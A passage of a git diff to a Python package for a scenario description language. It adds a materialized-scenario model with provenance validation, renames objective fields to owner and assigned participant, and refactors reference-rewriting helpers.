rule.get("evidence_refs", [])] + + +def _rewrite_action_interactions(actions: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]]) -> None: + for action in actions.values(): + if not isinstance(action, dict): + continue + _rewrite_temporal_contract_bindings(action, symbols) + _rewrite_action_evidence_references(action, symbols) + _rewrite_action_interaction_references(action, symbols) + + +def _rewrite_temporal_contract_bindings(action: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]]) -> None: + for temporal in action.get("temporal_contracts", []): + binding = temporal.get("shared_time_binding") if isinstance(temporal, dict) else None + if isinstance(binding, dict): + _rewrite_temporal_binding_references(binding, symbols) + + +def _rewrite_temporal_binding_references( + binding: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]] +) -> None: + for field, section in ( + ("clock_ref", "clocks"), + ("constraint_ref", "temporal_constraints"), + ("observation_boundary_ref", "observation_boundaries"), + ): + if field in binding: + binding[field] = _rewrite_section_ref(binding[field], section, symbols[section]) + + +def _rewrite_action_evidence_references(action: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]]) -> None: + for field_name, reference_fields in ( + ("preconditions", ("support_refs", "evidence_refs")), + ("effects", ("target_refs", "evidence_refs")), + ): + for item in action.get(field_name, []): + if isinstance(item, dict): + _rewrite_named_references(item, reference_fields, symbols) + + +def _rewrite_named_references( + item: dict[str, Any], + reference_fields: tuple[str, ...], + symbols: dict[str, dict[str, str] | set[str]], +) -> None: + for reference_field in reference_fields: + if reference_field in item: + item[reference_field] = [_maybe_rename(ref, symbols["named"]) for ref in item[reference_field]] + + +def _rewrite_action_interaction_references( + action: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]] +) -> None: + for interaction in action.get("interactions", []): + if isinstance(interaction, dict): + interaction["target"] = _maybe_rename(interaction["target"], symbols["named"]) + interaction["related_actions"] = [ + _maybe_rename(ref, symbols["action_contracts"]) for ref in interaction.get("related_actions", []) + ] + interaction["shared_state_refs"] = [ + _maybe_rename(ref, symbols["named"]) for ref in interaction.get("shared_state_refs", []) + ] + + +def _rewrite_binding_evidence_refs(binding: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]]) -> None: + for refs in ("evidence_refs", "provenance_refs"): + if refs in binding: + binding[refs] = [_maybe_rename(ref, symbols["named"]) for ref in binding[refs]] diff --git a/implementations/python/packages/raes/composition/_expand.py b/implementations/python/packages/raes/composition/_expand.py index 464724831..5f1ab90f7 100644 --- a/implementations/python/packages/raes/composition/_expand.py +++ b/implementations/python/packages/raes/composition/_expand.py @@ -70,6 +70,7 @@ designation_records, ) from ..scenario import ExpandedScenario, ImportDecl, ModuleDescriptor, ScenarioContent +from ._augmentation import merge_augmentation_scope, rewrite_augmentation_scope from ._behavior import _behavior_reference_maps, _rewrite_agent_sections, _rewrite_behavior_sections from ._profiles import rewrite_profile_selections from ._references import _rewrite_variable_tokens @@ -123,6 +124,7 @@ def _rewrite_payload_with_symbols( _rewrite_agent_sections(namespaced, symbols) _rewrite_behavior_sections(namespaced, symbols) _rewrite_terminal_sections(namespaced, symbols, tool_affordance_refs) + rewrite_augmentation_scope(namespaced, symbols, namespace) rewritten = _rewrite_variable_tokens(namespaced, symbols["variables"]) if not isinstance(rewritten, dict): @@ -163,6 +165,7 @@ def _merge_sections( path: Path, ) -> dict[str, Any]: merged = dict(root) + merge_augmentation_scope(merged, incoming) for section_name in _HASHMAP_SECTIONS: current = dict(merged.get(section_name, {})) additions = dict(incoming.get(section_name, {})) diff --git a/implementations/python/packages/raes/composition/_sections.py b/implementations/python/packages/raes/composition/_sections.py index bc6b435f9..5582dfc06 100644 --- a/implementations/python/packages/raes/composition/_sections.py +++ b/implementations/python/packages/raes/composition/_sections.py @@ -17,6 +17,7 @@ from .._module_symbols import FORWARDING_AGENTS_SECTION from .._module_symbols import HASHMAP_SECTIONS as _HASHMAP_SECTIONS from ..entities import flatten_entities +from ..participant_relationships import PARTICIPANT_RELATIONSHIP_REFERENCE_SECTIONS from ..scenario import ModuleDescriptor, ScenarioContent from ._references import ( _maybe_rename, @@ -224,19 +225,45 @@ def _rewrite_observation_boundaries( for boundary in payload.get("observation_boundaries", {}).values(): if not isinstance(boundary, dict): continue - for field_name in ("observable_refs", "hidden_refs", "evidence_refs"): - boundary[field_name] = [ - tool_affordance_refs.get(ref, _maybe_rename(ref, symbols["named"])) - for ref in boundary.get(field_name, []) - ] - for field_name in ("view_rules", "view_transitions"): - for item in boundary.get(field_name, []): - if isinstance(item, dict) and isinstance(item.get("information_ref"), str): - information_ref = item["information_ref"] - item["information_ref"] = tool_affordance_refs.get( - information_ref, - _maybe_rename(information_ref, symbols["named"]), - ) + _rewrite_boundary_reference_fields(boundary, symbols, tool_affordance_refs) + _rewrite_boundary_view_items(boundary, symbols, tool_affordance_refs) + + +def _rewrite_boundary_reference_fields( + boundary: dict[str, Any], + symbols: dict[str, dict[str, str] | set[str]], + tool_affordance_refs: Mapping[str, str], +) -> None: + for field_name in ("observable_refs", "hidden_refs", "evidence_refs"): + boundary[field_name] = [ + tool_affordance_refs.get(ref, _maybe_rename(ref, symbols["named"])) for ref in boundary.get(field_name, []) + ] + + +def _rewrite_boundary_view_items( + boundary: dict[str, Any], + symbols: dict[str, dict[str, str] | set[str]], + tool_affordance_refs: Mapping[str, str], +) -> None: + for field_name in ("view_rules", "view_transitions"): + for item in boundary.get(field_name, []): + if isinstance(item, dict): + _rewrite_boundary_view_item(item, symbols, tool_affordance_refs) + + +def _rewrite_boundary_view_item( + item: dict[str, Any], + symbols: dict[str, dict[str, str] | set[str]], + tool_affordance_refs: Mapping[str, str], +) -> None: + if "evidence_refs" in item: + item["evidence_refs"] = [_maybe_rename(ref, symbols["named"]) for ref in item["evidence_refs"]] + information_ref = item.get("information_ref") + if isinstance(information_ref, str): + item["information_ref"] = tool_affordance_refs.get( + information_ref, + _maybe_rename(information_ref, symbols["named"]), + ) def _rewrite_service_materialization( @@ -389,6 +416,27 @@ def _rewrite_deployment_sections( cell["node_refs"] = [_maybe_rename(name, symbols["nodes"]) for name in cell.get("node_refs", [])] +def _rewrite_participant_relationship( + participant: object, + symbols: dict[str, dict[str, str] | set[str]], +) -> None: + if not isinstance(participant, dict): + return + for field, section in PARTICIPANT_RELATIONSHIP_REFERENCE_SECTIONS.items(): + participant[field] = [ + _maybe_rename(ref, symbols["named"]) + if section == "named" + else _rewrite_section_ref(ref, section, symbols[section]) + for ref in participant.get(field, []) + ] + if participant.get("control_specification_ref"): + participant["control_specification_ref"] = _rewrite_section_ref( + participant["control_specification_ref"], + "behavior_specifications", + symbols["behavior_specifications"], + ) + + def _rewrite_relationship_sections( payload: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]], @@ -400,6 +448,7 @@ def _rewrite_relationship_sections( relationship["source"] = _maybe_rename(str(relationship["source"]), symbols["named"]) if relationship.get("target"): relationship["target"] = _maybe_rename(str(relationship["target"]), symbols["named"]) + _rewrite_participant_relationship(relationship.get("participant"), symbols) domain_join = relationship.get("domain_join") if isinstance(domain_join, dict): domain_join["controller_refs"] = [ diff --git a/implementations/python/packages/raes/composition/_terminal.py b/implementations/python/packages/raes/composition/_terminal.py index dfe58b69d..5147a59fd 100644 --- a/implementations/python/packages/raes/composition/_terminal.py +++ b/implementations/python/packages/raes/composition/_terminal.py @@ -215,10 +215,10 @@ def _rewrite_objective( objective: dict[str, Any], symbols: dict[str, dict[str, str] | set[str]], ) -> None: - if objective.get("agent"): - objective["agent"] = _maybe_rename(str(objective["agent"]), symbols["agents"]) - if objective.get("entity"): - objective["entity"] = _maybe_rename(str(objective["entity"]), symbols["entities"]) + for field, section in (("assigned_participant", "agents"), ("owner", "entities")): + if objective.get(field): + objective[field] = _maybe_rename(str(objective[field]), symbols[section]) + objective["actions"] = [_maybe_rename(name, symbols["action_contracts"]) for name in objective.get("actions", [])] objective["targets"] = [_maybe_rename(name, symbols["named"]) for name in objective.get("targets", [])] objective["depends_on"] = [_maybe_rename(name, symbols["objectives"]) for name in objective.get("depends_on", [])] success = objective.get("success") diff --git a/implementations/python/packages/raes/evidence_requirements.py b/implementations/python/packages/raes/evidence_requirements.py index fe2a6f980..9581213c0 100644 --- a/implementations/python/packages/raes/evidence_requirements.py +++ b/implementations/python/packages/raes/evidence_requirements.py @@ -10,6 +10,7 @@ from enum import Enum from pydantic import Field, ValidationInfo, field_validator, model_validator +from raes_contracts.evidence_output_validation import validate_evidence_media_declaration from raes_contracts.observation_demand import ObservationDemandRule from ._base import SDLModel, parse_enum_or_var @@ -215,6 +216,7 @@ def _validate_capture_contract(requirement: EvidenceRequirement) -> None: raise ValueError("capture_spec_ref and capture_requirement_ref must be declared together") if any(re.fullmatch(r"(?:/(?:[^~/]|~[01])*)*", selector) is None for selector in requirement.field_selectors): raise ValueError("field_selectors must be canonical RFC 6901 JSON Pointers") + validate_evidence_media_declaration(requirement.output_contract, requirement.media_types) __all__ = [ diff --git a/implementations/python/packages/raes/formatting.py b/implementations/python/packages/raes/formatting.py index 11ea3acf3..12242725c 100644 --- a/implementations/python/packages/raes/formatting.py +++ b/implementations/python/packages/raes/formatting.py @@ -10,6 +10,7 @@ from ._errors import SDLParseDiagnostic, SDLParseError from ._source_profile import DEFAULT_PARSER_LIMITS, SDLMigrationPolicy, SDLParserLimits, SDLSourceParseOptions +from .materialization import MaterializedScenario from .parser import _load_normalized_data, parse_sdl from .scenario import Scenario @@ -27,18 +28,18 @@ class SDLRenderResult: """Deterministic strict source plus the scenario reparsed from those bytes.""" content: str - scenario: Scenario + scenario: Scenario | MaterializedScenario def render_sdl_source( - scenario: Scenario, + scenario: Scenario | MaterializedScenario, *, limits: SDLParserLimits = DEFAULT_PARSER_LIMITS, ) -> SDLRenderResult: """Render an SDL model deterministically and re-admit the emitted bytes.""" - if not isinstance(scenario, Scenario): - raise TypeError("SDL rendering requires a Scenario") + if not isinstance(scenario, (Scenario, MaterializedScenario)): + raise TypeError("SDL rendering requires an authored or materialized scenario") normalized = scenario.model_dump(mode="json", by_alias=True, exclude_unset=True) content = yaml.safe_dump( normalized, @@ -64,7 +65,8 @@ def format_sdl_source( source_diagnostics=diagnostics, ) try: - scenario = Scenario(**data) + scenario_cls = MaterializedScenario if "materialization_provenance" in data else Scenario + scenario = scenario_cls(**data) except ValidationError as exc: raise SDLParseError("SDL input does not satisfy the current authoring contract.", path=path) from exc normalized = scenario.model_dump(mode="json", by_alias=True, exclude_unset=True) diff --git a/implementations/python/packages/raes/image_provenance.py b/implementations/python/packages/raes/image_provenance.py index e528fbc02..5d2763a31 100644 --- a/implementations/python/packages/raes/image_provenance.py +++ b/implementations/python/packages/raes/image_provenance.py @@ -17,7 +17,9 @@ from enum import Enum from typing import Any -from pydantic import Field, field_validator, model_validator +from pydantic import ConfigDict, Field, field_validator, model_validator + +from raes.runtime_filesystem import redacted_raw_value_schema from ._base import SDLModel, parse_int_or_var from .runtime_configuration import RuntimeEnvironmentValueClassification @@ -157,6 +159,14 @@ def parse_empty(cls, v: bool | str | None) -> bool | str | None: class ImageBuildArg(SDLModel): """An observed build argument with value-sensitivity classification.""" + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="value_classification", + raw_field="value", + raw_value_schema={"type": "string", "minLength": 1}, + ) + ) + name: str value: str = "" value_classification: GovernedVocabulary[RuntimeEnvironmentValueClassification] = ( @@ -203,6 +213,14 @@ def validate_redacted_value(self) -> "ImageBuildArg": class ImageEnvironmentDefault(SDLModel): """An image-default environment variable with sensitivity classification.""" + model_config = ConfigDict( + json_schema_extra=redacted_raw_value_schema( + sensitivity_field="value_classification", + raw_field="value", + raw_value_schema={"type": "string", "minLength": 1}, + ) + ) + name: str value: str = "" value_classification: GovernedVocabulary[RuntimeEnvironmentValueClassification] = ( diff --git a/implementations/python/packages/raes/instantiate.py b/implementations/python/packages/raes/instantiate.py index 0ef6af1aa..f8907deb1 100644 --- a/implementations/python/packages/raes/instantiate.py +++ b/implementations/python/packages/raes/instantiate.py @@ -260,6 +260,34 @@ def _merge_expanded_provenance( ) +def _listener_payloads_for_node(nodes_payload: dict[str, Any], node_name: str) -> list[Any] | None: + node_payload = nodes_payload.get(node_name) + if not isinstance(node_payload, dict): + return None + runtime_payload = node_payload.get("runtime") + if not isinstance(runtime_payload, dict): + return None + listeners_payload = runtime_payload.get("service_listeners") + return listeners_payload if isinstance(listeners_payload, list) else None + + +def _preserve_listener_protocol_presence(payload: dict[str, Any], source: ScenarioContent) -> None: + """Keep an omitted listener protocol omitted across phase-model rebuilds.""" + nodes_payload = payload.get("nodes") + if not isinstance(nodes_payload, dict): + return + for node_name, node in source.nodes.items(): + runtime = getattr(node, "runtime", None) + if runtime is None: + continue + listeners_payload = _listener_payloads_for_node(nodes_payload, node_name) + if listeners_payload is None: + continue + for listener, listener_payload in zip(runtime.service_listeners, listeners_payload, strict=True): + if "protocol" not in listener.model_fields_set and isinstance(listener_payload, dict): + listener_payload.pop("protocol", None) + + def _bind_scenario_content( raw_scenario: Scenario | ExpandedScenario, parameters: Mapping[str, JSONLike] | None = None, @@ -291,6 +319,7 @@ def _bind_scenario_content( if not constraint.parameter or constraint.parameter[0] not in preserved ) raw_payload = raw_scenario.model_dump(mode="python", by_alias=True) + _preserve_listener_protocol_presence(raw_payload, raw_scenario) unresolved_refs: set[str] = set() substituted_payload = _substitute_value( raw_payload, @@ -359,6 +388,8 @@ def _bind_scenario_content( def _validate_authoring_scenario(scenario: Scenario | ExpandedScenario) -> None: + if not isinstance(scenario, (Scenario, ExpandedScenario)): + raise SDLInstantiationError(["Instantiation requires authored SDL; descriptions require explicit derivation."]) if isinstance(scenario, Scenario) and scenario.imports: raise SDLInstantiationError(["Scenario imports must be resolved by file-backed parsing before instantiation."]) validator = SemanticValidator(scenario) @@ -426,6 +457,7 @@ def instantiate_scenario( trial=trial_provenance, ) payload = bound.content.model_dump(mode="python", by_alias=True) + _preserve_listener_protocol_presence(payload, bound.content) payload.pop("variables", None) payload.pop("variation_points", None) payload["instantiation_provenance"] = provenance.model_dump(mode="python") diff --git a/implementations/python/packages/raes/materialization.py b/implementations/python/packages/raes/materialization.py new file mode 100644 index 000000000..88e6b68e1 --- /dev/null +++ b/implementations/python/packages/raes/materialization.py @@ -0,0 +1,61 @@ +"""Descriptive SDL phase and its ordinary semantic admission.""" + +from __future__ import annotations + +from typing import ClassVar + +from pydantic import ConfigDict, Field, model_validator +from raes_contracts.realization_structure import validate_realization_value +from raes_contracts.runtime_value_limits import RUNTIME_SNAPSHOT_VALUE_LIMITS + +from ._scenario_instantiation import collect_variable_tokens, resolve_json_pointer +from .materialization_provenance import MaterializationProvenance +from .scenario import ScenarioContent + + +class MaterializedScenario(ScenarioContent): + """What one backend materialized; parsing this document grants no authority.""" + + _allows_qualified_declaration_keys: ClassVar[bool] = True + + model_config = ConfigDict( + title="SDL Materialization Attestation v1", + json_schema_extra={"x-raes-document-phase": "materialized-scenario"}, + ) + + materialization_provenance: MaterializationProvenance = Field( + json_schema_extra={"x-raes-realization-dimension": False}, + ) + + @model_validator(mode="after") + def _validate_materialized_content(self) -> MaterializedScenario: + content = self.model_dump(mode="json", exclude_unset=True) + if collect_variable_tokens(content): + raise ValueError("materialized SDL must not contain unresolved substitution tokens") + content.pop("materialization_provenance") + for origin in self.materialization_provenance.origins: + if origin.change == "removed": + continue + try: + resolve_json_pointer(content, origin.field_pointer) + except (KeyError, IndexError, TypeError, ValueError): + raise ValueError("materialization origin must resolve to supplied SDL content") from None + if any(binding.node_name not in self.nodes for binding in self.materialization_provenance.resource_bindings): + raise ValueError("materialization resource binding must resolve to a node") + return self + + +def admit_materialized_scenario(scenario: MaterializedScenario) -> MaterializedScenario: + """Reconstruct and semantically admit a direct or deserialized description.""" + + from .validator import SemanticValidator + + content = {name: getattr(scenario, name) for name in ScenarioContent.model_fields} + if not validate_realization_value(content, limits=RUNTIME_SNAPSHOT_VALUE_LIMITS, python_carriers=True).conformant: + raise ValueError("materialized SDL exceeds portable bounds") + admitted = MaterializedScenario.model_validate(scenario.model_dump(mode="json", exclude_unset=True)) + validator = SemanticValidator(admitted) + validator.validate() + admitted._set_advisories(validator.warnings) + admitted._set_semantic_validated(True) + return admitted diff --git a/implementations/python/packages/raes/materialization_provenance.py b/implementations/python/packages/raes/materialization_provenance.py new file mode 100644 index 000000000..20514873f --- /dev/null +++ b/implementations/python/packages/raes/materialization_provenance.py @@ -0,0 +1,96 @@ +"""Value-free lineage for the closed materialized SDL phase.""" + +from __future__ import annotations + +from typing import Annotated, Literal + +from pydantic import AwareDatetime, Field, field_validator, model_validator +from raes_contracts.addressing import CompiledAddress + +from ._identifiers import QUALIFIED_IDENTIFIER_MAX_LENGTH, PortableIdentifier, require_qualified_identifier +from .explicitness import ExplicitnessProvenance +from .phase_contracts import FrozenPhaseModel, SemanticDigest + +MaterializationDigest = Annotated[str, Field(pattern=r"^sha256:[a-f0-9]{64}$")] +MaterializationPointer = Annotated[str, Field(pattern=r"^(?:/(?:[^~/]|~[01])*)*$", max_length=4096)] +MaterializationIdentity = Annotated[str, Field(min_length=1, max_length=256, pattern=r"^[^\s\x00-\x1f]+$")] + + +class InstantiatedMaterializationDigest(SemanticDigest): + """Identity of the original admitted input, not the materialized artifact.""" + + profile: Literal["raes-sdl-instantiated-snapshot/v2"] + + +class MaterializationProducer(FrozenPhaseModel): + """The selected producer and its exact configured manifest.""" + + name: MaterializationIdentity + version: MaterializationIdentity + configuration_digest: MaterializationDigest + manifest_digest: MaterializationDigest + + +class MaterializationOrigin(FrozenPhaseModel): + """One disclosed difference; world values stay in their owning SDL fields.""" + + field_pointer: MaterializationPointer + source_pointer: MaterializationPointer | None = None + change: Literal["added", "selected", "removed"] + origin: ExplicitnessProvenance + + @model_validator(mode="after") + def _validate_difference_shape(self) -> MaterializationOrigin: + if not self.field_pointer or self.field_pointer.startswith("/materialization_provenance"): + raise ValueError("materialization origins must address scenario content") + if self.change == "added" and self.source_pointer is not None: + raise ValueError("an added element has no source pointer") + if self.change != "added" and self.source_pointer is None: + raise ValueError("a changed or removed element requires its source pointer") + if self.origin is not ExplicitnessProvenance.BACKEND_REALIZED: + raise ValueError("materialization differences require backend origin; source origins remain inherited") + return self + + +class MaterializedResourceBinding(FrozenPhaseModel): + """Portable resource and source-declaration identity for one realized node.""" + + address: CompiledAddress + node_name: Annotated[str, Field(min_length=1, max_length=QUALIFIED_IDENTIFIER_MAX_LENGTH)] + source_node: Annotated[str, Field(min_length=1, max_length=QUALIFIED_IDENTIFIER_MAX_LENGTH)] | None = None + instance_index: int | None = Field(default=None, ge=0) + + @field_validator("node_name", "source_node") + @classmethod + def _validate_qualified_name(cls, value: str | None) -> str | None: + return None if value is None else require_qualified_identifier(value, field_name="materialized node") + + +class MaterializationProvenance(FrozenPhaseModel): + """Execution-bound producer assertion, separate from authoring authority.""" + + profile: Literal["raes-materialization-attestation/v1"] + attestation_id: PortableIdentifier + authored_digest: SemanticDigest + instantiated_digest: InstantiatedMaterializationDigest + plan_digest: MaterializationDigest + predecessor_digest: MaterializationDigest + operation_id: MaterializationIdentity + run_id: MaterializationIdentity + recorded_at: AwareDatetime + boundary: Literal["post-materialization"] + producer: MaterializationProducer + coverage_profile: Literal["raes-materialization-effects/v1"] + origins: tuple[MaterializationOrigin, ...] = Field(max_length=4096) + resource_bindings: tuple[MaterializedResourceBinding, ...] = Field(max_length=4096) + + @model_validator(mode="after") + def _validate_identities(self) -> MaterializationProvenance: + for identities in ( + [(origin.change == "removed", origin.field_pointer) for origin in self.origins], + [(binding.address, binding.instance_index) for binding in self.resource_bindings], + [(binding.node_name, binding.instance_index) for binding in self.resource_bindings], + ): + if len(identities) != len(set(identities)): + raise ValueError("materialization provenance identities must be unique") + return self diff --git a/implementations/python/packages/raes/objectives.py b/implementations/python/packages/raes/objectives.py index 1ac8bc7bc..2a9829df3 100644 --- a/implementations/python/packages/raes/objectives.py +++ b/implementations/python/packages/raes/objectives.py @@ -1,7 +1,7 @@ """Declarative experiment objectives for the SDL. Objectives bind together: -- who acts (`agent` or `entity`) +- organizational ownership (`owner`) and participant assignment (`assigned_participant`) - what they are trying to affect (`targets`, `actions`) - when it matters (`window`) - how success is interpreted (`success`) @@ -11,7 +11,7 @@ in runtime adapters. """ -from pydantic import Field, field_validator, model_validator +from pydantic import ConfigDict, Field, field_validator, model_validator from ._base import SDLModel, parse_enum_or_var from .propositions import TruthCompositionMode @@ -73,20 +73,38 @@ class ObjectiveWindow(SDLModel): class Objective(SDLModel): """A declarative experiment objective.""" + model_config = ConfigDict( + json_schema_extra={ + "anyOf": [ + {"required": [field], "properties": {field: {"type": "string", "minLength": 1}}} + for field in ("owner", "assigned_participant") + ] + } + ) + name: str = "" description: str = "" - agent: str = "" - entity: str = "" + owner: str | None = Field(default=None, min_length=1) + assigned_participant: str | None = Field(default=None, min_length=1) actions: list[str] = Field(default_factory=list) targets: list[str] = Field(default_factory=list) success: ObjectiveSuccess window: ObjectiveWindow | None = None depends_on: list[str] = Field(default_factory=list) + @model_validator(mode="before") + @classmethod + def reject_legacy_actor_binding(cls, value: object) -> object: + if isinstance(value, dict) and {"agent", "entity"}.intersection(value): + raise ValueError( + "objective.agent/entity were replaced by assigned_participant/owner; " + "use migrate_participant_identity with an explicit organizational-objective decision " + "(docs/migration/participant-identity.md)" + ) + return value + @model_validator(mode="after") - def validate_actor_binding(self) -> "Objective": - has_agent = bool(self.agent) - has_entity = bool(self.entity) - if has_agent == has_entity: - raise ValueError("Objective must declare exactly one of 'agent' or 'entity'") + def validate_relation_binding(self) -> "Objective": + if not self.owner and not self.assigned_participant: + raise ValueError("Objective requires 'owner' or 'assigned_participant' (both are permitted)") return self diff --git a/implementations/python/packages/raes/observability_plane_semantics.py b/implementations/python/packages/raes/observability_plane_semantics.py index c1add0abf..763a1c509 100644 --- a/implementations/python/packages/raes/observability_plane_semantics.py +++ b/implementations/python/packages/raes/observability_plane_semantics.py @@ -38,6 +38,10 @@ class ObservabilityEvidencePlane(str, Enum): # three experiment-core carriers; processor/backend operational observability is # carried by apparatus manifests, processor manifests, and apparatus context. PLANE_BY_CONTRACT_ID: dict[str, ObservabilityEvidencePlane] = { + "participant-control-selection-v1": ObservabilityEvidencePlane.PROCESSOR_BACKEND_OPERATIONAL, + "participant-control-evaluation-v1": ObservabilityEvidencePlane.PROCESSOR_BACKEND_OPERATIONAL, + "participant-control-selection-v2": ObservabilityEvidencePlane.PROCESSOR_BACKEND_OPERATIONAL, + "participant-control-evaluation-v2": ObservabilityEvidencePlane.PROCESSOR_BACKEND_OPERATIONAL, "experiment-capture-spec-v1": ObservabilityEvidencePlane.AUTHORED_EVIDENCE_REQUIREMENT, "experiment-evidence-record-v1": ObservabilityEvidencePlane.CAPTURED_EVIDENCE, "experiment-derived-measure-v1": ObservabilityEvidencePlane.DERIVED_ANALYSIS, @@ -54,6 +58,10 @@ class ObservabilityEvidencePlane(str, Enum): # Contracts whose ``x-raes-plane`` annotation is published as portable # traceability (the three experiment-core carriers that map 1:1 to a plane). PLANE_ANNOTATED_CONTRACT_IDS: tuple[str, ...] = ( + "participant-control-selection-v1", + "participant-control-evaluation-v1", + "participant-control-selection-v2", + "participant-control-evaluation-v2", "experiment-capture-spec-v1", "experiment-evidence-record-v1", "experiment-derived-measure-v1", diff --git a/implementations/python/packages/raes/observation_scope.py b/implementations/python/packages/raes/observation_scope.py index a63e54043..d1bbda2fe 100644 --- a/implementations/python/packages/raes/observation_scope.py +++ b/implementations/python/packages/raes/observation_scope.py @@ -6,6 +6,7 @@ RealizationClosure, RealizationCollectionProfile, canonical_semantic_address, + semantic_address_contains, ) from ._declarations import DeclarationIndex @@ -35,7 +36,10 @@ def observation_reference_scope( declaration = index.declaration_for(address) if declaration is None: raise ValueError(f"observation declaration '{address}' is not indexed") - tokens = declaration.model_path.split(".") + # A composed declaration key contains dots; they are not path separators. + tokens = list(declaration.model_tokens) + if not tokens: + raise ValueError(f"observation declaration '{address}' has no structural path") profile = _declaration_collection_profile(tokens) if profile is not None: tokens = tokens[:-1] @@ -54,12 +58,39 @@ def resolve_observation_scope( """Resolve an observation pointer through the shared semantic-address owner.""" try: - canonical = canonical_semantic_address(pointer, root, collection_profiles=collection_profiles) + canonical = canonical_semantic_address( + pointer, root, collection_profiles=_scenario_collection_profiles(collection_profiles) + ) except ValueError: return False, None return True, canonical +def _scenario_collection_profiles( + profiles: tuple[RealizationCollectionProfile, ...], +) -> tuple[RealizationCollectionProfile, ...]: + """Top-level list declarations retain their native identity across imports.""" + profile = _declaration_collection_profile(["forwarding_agents", "0", "forwarding_agent_id"]) + return profiles if any(item.field_pointer == profile.field_pointer for item in profiles) else (*profiles, profile) + + +def semantic_scope_namespace(root: dict[str, object], pointer: str) -> tuple[str, ...]: + """Find the owning module using the declaration identity, never its list index.""" + tokens = pointer.split("/") + if len(tokens) < 3: + return () + identity = tokens[2].replace("~1", "/").replace("~0", "~") + if tokens[1] == "forwarding_agents": + for index, agent in enumerate(root.get("forwarding_agents", ())): + found, candidate = resolve_observation_scope(root, f"/forwarding_agents/{index}") + if found and semantic_address_contains(candidate, pointer): + identity = agent["forwarding_agent_id"] + break + else: + raise ValueError("scope has no admitted declaration owner") + return tuple(identity.split(".")[:-1]) + + def _declaration_collection_profile(tokens: list[str]) -> RealizationCollectionProfile | None: if len(tokens) < 3 or not tokens[-2].isdigit(): return None diff --git a/implementations/python/packages/raes/parser.py b/implementations/python/packages/raes/parser.py index 62a30f7c9..7577d9f4e 100644 --- a/implementations/python/packages/raes/parser.py +++ b/implementations/python/packages/raes/parser.py @@ -43,6 +43,7 @@ ) from ._source_validation import _raise_source_limit from ._yaml_loader import load_sdl_yaml +from .materialization import MaterializedScenario from .scenario import ExpandedScenario, Scenario from .validator import SemanticValidator @@ -337,7 +338,7 @@ def parse_sdl( source_format: str = SDL_SOURCE_FORMAT, migration_policy: SDLMigrationPolicy | str = SDLMigrationPolicy.REJECT, limits: SDLParserLimits = DEFAULT_PARSER_LIMITS, -) -> Scenario | ExpandedScenario: +) -> Scenario | ExpandedScenario | MaterializedScenario: """Parse SDL YAML into a normalized or expanded authoring object. Handles SDL documents with ``name`` at the top level. Runs @@ -374,7 +375,9 @@ def parse_sdl( source_ranges=source_ranges, ) _reject_removed_scoring_sections(data, path=path) - if data.get("imports"): + if "materialization_provenance" in data: + scenario_cls = MaterializedScenario + elif data.get("imports"): if path is None: raise SDLParseError( "SDL imports require file-backed parsing via parse_sdl_file()", @@ -405,7 +408,7 @@ def parse_sdl( scenario._set_source_diagnostics(source_diagnostics) # Semantic validation - if not skip_semantic_validation: + if not skip_semantic_validation or isinstance(scenario, MaterializedScenario): validator = SemanticValidator(scenario) try: validator.validate() @@ -420,7 +423,7 @@ def parse_sdl( return scenario -def parse_sdl_file(path: Path, **kwargs: Any) -> Scenario | ExpandedScenario: +def parse_sdl_file(path: Path, **kwargs: Any) -> Scenario | ExpandedScenario | MaterializedScenario: """Parse an SDL file into a normalized or expanded authoring object. Convenience wrapper around ``parse_sdl()`` that reads from a file. diff --git a/implementations/python/packages/raes/participant_execution.py b/implementations/python/packages/raes/participant_execution.py index 635df3ada..8922c3c15 100644 --- a/implementations/python/packages/raes/participant_execution.py +++ b/implementations/python/packages/raes/participant_execution.py @@ -3,15 +3,36 @@ from __future__ import annotations from enum import Enum -from typing import Literal +from typing import Annotated, Literal -from pydantic import Field, field_validator, model_validator +from pydantic import BeforeValidator, Field, field_validator, model_validator -from ._base import SDLModel +from ._base import SDLModel, WholeFieldVariableReference, parse_int_or_var from ._identifiers import PortableIdentifier from .participant_action_semantics import ParticipantFailureClass from .participant_resource_budgets import ParticipantResourceBudgetPolicy +_AttemptLimit = Annotated[ + Annotated[int, Field(ge=1, le=1_000_000)] | WholeFieldVariableReference, + BeforeValidator(parse_int_or_var), +] +_ConcurrencyLimit = Annotated[ + Annotated[int, Field(ge=1, le=1024)] | WholeFieldVariableReference, + BeforeValidator(parse_int_or_var), +] +_PositiveActivityQuantity = Annotated[ + Annotated[int, Field(ge=1, le=1_000_000_000)] | WholeFieldVariableReference, + BeforeValidator(parse_int_or_var), +] +_RetryCount = Annotated[ + Annotated[int, Field(ge=0, le=1024)] | WholeFieldVariableReference, + BeforeValidator(parse_int_or_var), +] +_CooldownTicks = Annotated[ + Annotated[int, Field(ge=0, le=1_000_000_000)] | WholeFieldVariableReference, + BeforeValidator(parse_int_or_var), +] + class ParticipantExecutionFailurePolicy(str, Enum): """Disposition after a native participant action fails.""" @@ -76,8 +97,8 @@ class ParticipantAutonomousExecutionPolicyV1(SDLModel): action_order: list[str] = Field(min_length=1) observation_boundary_ref: str = Field(min_length=1) selection_strategy: Literal["ordered_cycle"] = "ordered_cycle" - max_action_attempts: int = Field(ge=1, le=1_000_000) - max_in_flight: int = Field(default=1, ge=1, le=1024) + max_action_attempts: _AttemptLimit + max_in_flight: _ConcurrencyLimit = 1 failure_policy: ParticipantExecutionFailurePolicy = ParticipantExecutionFailurePolicy.STOP evaluation_authority: ParticipantEvaluationAuthority @@ -94,12 +115,16 @@ def _unique_non_empty_refs(cls, values: list[str]) -> list[str]: class ParticipantActivityTiming(SDLModel): """Inclusive bounded interval for the next occurrence on the shared clock.""" - minimum_ticks: int = Field(ge=1, le=1_000_000_000) - maximum_ticks: int = Field(ge=1, le=1_000_000_000) + minimum_ticks: _PositiveActivityQuantity + maximum_ticks: _PositiveActivityQuantity @model_validator(mode="after") def _validate_bounds(self) -> ParticipantActivityTiming: - if self.maximum_ticks < self.minimum_ticks: + if ( + isinstance(self.minimum_ticks, int) + and isinstance(self.maximum_ticks, int) + and self.maximum_ticks < self.minimum_ticks + ): raise ValueError("activity timing maximum_ticks must be greater than or equal to minimum_ticks") return self @@ -108,11 +133,11 